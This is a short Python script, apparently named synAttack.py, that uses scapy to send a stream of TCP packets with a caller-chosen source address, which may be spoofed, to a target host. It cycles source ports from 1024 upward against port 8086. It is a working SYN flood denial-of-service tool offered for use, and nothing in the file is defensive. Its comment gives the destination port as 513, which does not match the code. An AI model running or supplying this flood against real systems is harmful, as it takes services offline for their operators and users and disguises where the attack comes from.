#!/usr/bin/python
#coding=utf-8
from scapy.all import *
import optparse

def synFlood(src, tgt):
    # TCP源端口不断自增一，而目标端口513不变
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=8086)
        pkt = IPlayer / TCPlayer
        send(pkt)

def main():
    parser = optparse.OptionParser('[*] Usage : ./synAttack.py -s <src address> -t <target>')
    parser.add_option('-s',dest='src',type='string',help='specify scr address')
    parser.add_option('-t',dest='tgt',type='string',help='target address')
    (options,args) = parser.parse_args()

    if (options.src == None) | (options.tgt == None):
        print(parser.usage)
        exit(0)

    src = options.src
    tgt = options.tgt
    print(src, tgt)
    synFlood(src, tgt)

if __name__ == '__main__':
    main()